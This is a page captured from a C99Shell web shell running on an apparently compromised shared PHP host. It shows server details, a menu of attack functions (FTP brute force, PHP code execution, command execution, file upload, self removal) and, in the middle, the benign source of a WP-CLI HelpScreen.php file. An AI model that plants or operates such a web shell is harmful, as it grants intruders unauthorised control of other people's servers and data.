!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.3.27 

uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 

uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364)  

Safe-mode: OFF (not secure)

/usr/local/wp/vendor/wp-cli/php-cli-tools/lib/cli/arguments/   drwxr-xr-x
Free 714.93 GB of 879.6 GB (81.28%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     HelpScreen.php (2.66 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * PHP Command Line Tools
 *
 * This source file is subject to the MIT license that is bundled
 * with this package in the file LICENSE.
 *
 * @author    James Logsdon <[email protected]>
 * @copyright 2010 James Logsdom (http://girsbrain.org)
 * @license   http://www.opensource.org/licenses/mit-license.php The MIT License
 */

namespace cli\arguments;

use cli\Arguments;

/**
 * Arguments help screen renderer
 */
class HelpScreen {
    protected $_flags = array();
    protected $_flagMax = 0;
    protected $_options = array();
    protected $_optionMax = 0;

    public function __construct(Arguments $arguments) {
        $this->setArguments($arguments);
    }

    public function __toString() {
        return $this->render();
    }

    public function setArguments(Arguments $arguments) {
        $this->consumeArgumentFlags($arguments);
        $this->consumeArgumentOptions($arguments);
    }

    public function consumeArgumentFlags(Arguments $arguments) {
        $data = $this->_consume($arguments->getFlags());

        $this->_flags = $data[0];
        $this->_flagMax = $data[1];
    }

    public function consumeArgumentOptions(Arguments $arguments) {
        $data = $this->_consume($arguments->getOptions());

        $this->_options = $data[0];
        $this->_optionMax = $data[1];
    }

    public function render() {
        $help = array();

        array_push($help, $this->_renderFlags());
        array_push($help, $this->_renderOptions());

        return join("\n\n", $help);
    }

    private function _renderFlags() {
        if (empty($this->_flags)) {
            return null;
        }

        return "Flags\n" . $this->_renderScreen($this->_flags, $this->_flagMax);
    }

    private function _renderOptions() {
        if (empty($this->_options)) {
            return null;
        }

        return "Options\n" . $this->_renderScreen($this->_options, $this->_optionMax);
    }

    private function _renderScreen($options, $max) {
        $help = array();
        foreach ($options as $option => $settings) {
            $formatted = '  ' . str_pad($option, $max);

            $dlen = 80 - 4 - $max;

            $description = str_split($settings['description'], $dlen);
            $formatted.= '  ' . array_shift($description);

            if ($settings['default']) {
                $formatted .= ' [default: ' . $settings['default'] . ']';
            }

            $pad = str_repeat(' ', $max + 3);
            while ($desc = array_shift($description)) {
                $formatted .= "\n{$pad}{$desc}";
            }

            array_push($help, $formatted);
        }

        return join("\n", $help);
    }

    private function _consume($options) {
        $max = 0;
        $out = array();

        foreach ($options as $option => $settings) {
            $names = array('--' . $option);

            foreach ($settings['aliases'] as $alias) {
                array_push($names, '-' . $alias);
            }

            $names = join(', ', $names);
            $max = max(strlen($names), $max);
            $out[$names] = $settings;
        }

        return array($out, $max);
    }
}


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0112 ]--